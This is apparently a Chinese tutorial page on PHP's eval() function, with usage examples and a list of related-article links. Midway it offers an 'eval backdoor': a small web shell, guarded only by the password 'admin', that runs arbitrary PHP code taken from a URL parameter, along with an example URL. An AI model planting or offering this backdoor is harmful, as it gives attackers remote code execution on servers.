PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
用windows下编译过的eAccelerator for PHP 5.1.6实现php加速的使用方法
Sep 30 PHP
ecshop 订单确认中显示省市地址信息的方法
Mar 15 PHP
php调用方法mssql_fetch_row、mssql_fetch_array、mssql_fetch_assoc和mssql_fetch_objcect读取数据的区别
Aug 08 PHP
PHP导出EXCEL快速开发指南--PHPEXCEL的使用详解
Jun 03 PHP
php日历制作代码分享
Jan 20 PHP
php中使用gd库实现远程图片下载实例
May 12 PHP
php通过baihui网API实现读取word文档并展示
Jun 22 PHP
php实现的中秋博饼游戏之掷骰子并输出结果功能详解
Nov 06 PHP
Laravel事件监听器用法实例分析
Mar 12 PHP
PHP判断一个变量是否为整数、正整数的方法示例
Sep 11 PHP
基于PHP实现生成随机水印图片
Dec 09 PHP
如何用PHP websocket实现网页实时聊天
May 26 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
ob_start(),ob_start('ob_gzhandler')使用
2006/12/25 PHP
PHP取整函数:ceil,floor,round,intval的区别详细解析
2013/08/31 PHP
thinkphp使用literal防止模板标签被解析的方法
2014/11/22 PHP
JS BASE64编码 window.atob(), window.btoa()
2021/03/09 Javascript
Javascript中的常见排序算法
2007/03/27 Javascript
ExtJS 简介 让你知道extjs是什么
2008/12/29 Javascript
javascript 控制 html元素 显示/隐藏实现代码
2009/09/01 Javascript
jQuery向上遍历DOM树之parents(),parent(),closest()之间的区别
2013/12/02 Javascript
js实现文本框宽度自适应文本宽度的方法
2015/08/13 Javascript
js如何准确获取当前页面url网址信息
2020/09/13 Javascript
jQuery弹出下拉列表插件(实现kindeditor的@功能)
2016/08/16 Javascript
基于angularjs实现图片放大镜效果
2016/08/31 Javascript
浅谈JavaScript异步编程
2017/01/20 Javascript
JavaScript字符集编码与解码详谈
2017/02/02 Javascript
Ajax异步获取html数据中包含js方法无效的解决方法
2017/02/20 Javascript
JavaScript中各数制转换全面总结
2017/08/21 Javascript
layui 阻止图片上传的实例(before方法)
2019/09/26 Javascript
ckeditor一键排版功能实现方法分析
2020/02/06 Javascript
讲解Python的Scrapy爬虫框架使用代理进行采集的方法
2016/02/18 Python
Django框架多表查询实例分析
2018/07/04 Python
Python多进程原理与用法分析
2018/08/21 Python
学习python可以干什么
2019/02/26 Python
python3+opencv 使用灰度直方图来判断图片的亮暗操作
2020/06/02 Python
Python 爬虫性能相关总结
2020/08/03 Python
浅谈Python3中print函数的换行
2020/08/05 Python
pandas 数据类型转换的实现
2020/12/29 Python
Python就将所有的英文单词首字母变成大写
2021/02/12 Python
Sarenza德国:法国最大的时尚鞋和包包网上商店
2019/06/08 全球购物
会计专业大学生职业生涯规划书
2014/02/11 职场文书
预防艾滋病宣传标语
2014/06/25 职场文书
班组长安全工作职责
2014/07/15 职场文书
教师个人查摆剖析材料
2014/10/14 职场文书
教师党员学习十八届四中全会思想汇报
2014/11/03 职场文书
民主评议党员个人总结
2015/02/13 职场文书
行为规范主题班会
2015/08/13 职场文书
雄兵连:第三季先行图公开,天使恶魔联合,银河之力的新力量
2021/06/11 国漫